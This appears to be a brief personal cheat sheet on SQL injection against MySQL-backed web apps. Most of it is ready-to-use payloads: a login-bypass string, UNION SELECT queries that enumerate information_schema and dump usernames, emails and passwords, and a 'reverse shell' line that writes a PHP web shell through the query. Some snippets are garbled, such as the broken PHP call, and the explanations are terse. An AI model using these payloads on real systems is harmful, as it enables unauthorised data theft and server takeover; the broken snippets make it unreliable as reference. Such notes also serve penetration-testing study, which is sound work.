SQL Injection
Basic injection
1' or 1 = 1 #
1'
: can be anything with ending quoteor
: so we could write success query.1 = 1
: so its always trueString would be quoted, 1 is integer so we dont quote
#
: comment anything after this may be there in code
GOTCHA
order by
: in order to understand field count.limit 1
: useful to bypasscount === 1
Exploit TIPS
- Extracting Coloumns -> 1' union <SELECT QUERY> #
- 1' UNION SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE tables_name = 'users' #
- Extracting Data -> 1' union <SELECT QUERY> #\
- 1' union select 1, username, 3 from db.tables #
- 1' union select 1, concat(field1, 0x3a, field2, 0x3a, field3), from db.tables #
- filed1,2,3 could be likes of username, email, pass
- 0x3a is hexcode for `:`
Reverse shell
union select 1, 2, '<?php system[$_GET]>
TIPS
- SQL query vs Web APP Query: this can mean if its vulnerable to sql injection or not.
- concept is same for any database engine but example works for mysql.
GOOD READS
Last updated